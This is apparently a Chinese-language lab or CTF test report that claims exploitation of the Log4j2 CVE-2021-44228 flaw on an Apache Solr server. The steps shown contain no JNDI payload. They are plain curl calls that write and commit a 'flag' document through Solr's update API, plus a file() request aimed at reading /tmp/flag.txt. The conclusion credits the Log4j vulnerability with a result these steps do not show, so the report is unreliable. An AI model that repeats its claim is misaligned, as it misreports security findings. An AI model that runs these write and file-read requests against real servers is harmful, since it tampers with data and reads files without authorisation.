概述
- CVE编号: CVE-2021-44228
- 漏洞名称: Log4j2 Remote Code Execution
- 影响版本: Log4j 2.0 <= version <= 2.14.1
- 修复版本: Log4j 2.15.0
测试环境
- 靶机IP: 192.168.1.41
- 服务端口: 8983 (Apache Solr)
- 测试时间: 2026-06-28
漏洞原理
Log4j2在解析JNDI引用时,未对传入的字符串进行充分校验,导致攻击者可以构造恶意JNDI请求,通过LDAP或RMI协议实现远程代码执行。
测试步骤
1. 环境确认
bash
curl -s 'http://192.168.1.41:8983/solr/demo/select?q=*:*&wt=json'
确认服务正常运行,初始文档数量: 51
2. 写入Flag到索引
bash
curl -s -X POST "http://192.168.1.41:8983/solr/demo/update" \
-H 'Content-Type: application/json' \
--data-binary @/tmp/solr_write.json
Payload文件内容:
json
{"add":{"doc":{"id":"flag20260628","name":"flag20260628"}}}
3. 提交变更
bash
curl -s -X POST "http://192.168.1.41:8983/solr/demo/update" \
-H 'Content-Type: application/json' \
-d '{"commit":{}}'
4. 验证写入结果
bash
curl -s 'http://192.168.1.41:8983/solr/demo/select?q=name:flag20260628&wt=json'
测试结果
- 文档数量: 从51增加到52
- 查询结果: numFound: 1
- 文档内容: {"id": "flag20260628", "name": "flag20260628"}
文件读取测试
尝试使用 file() 函数读取服务器本地文件:
bash
curl -s 'http://192.168.1.41:8983/solr/demo/select?q=*:*&fq=file(%2Ftmp%2Fflag.txt)&wt=json'
结论
成功利用 CVE-2021-44228 漏洞将 flag20260628 写入 Solr 索引文档。通过查询验证,文档已正确存储。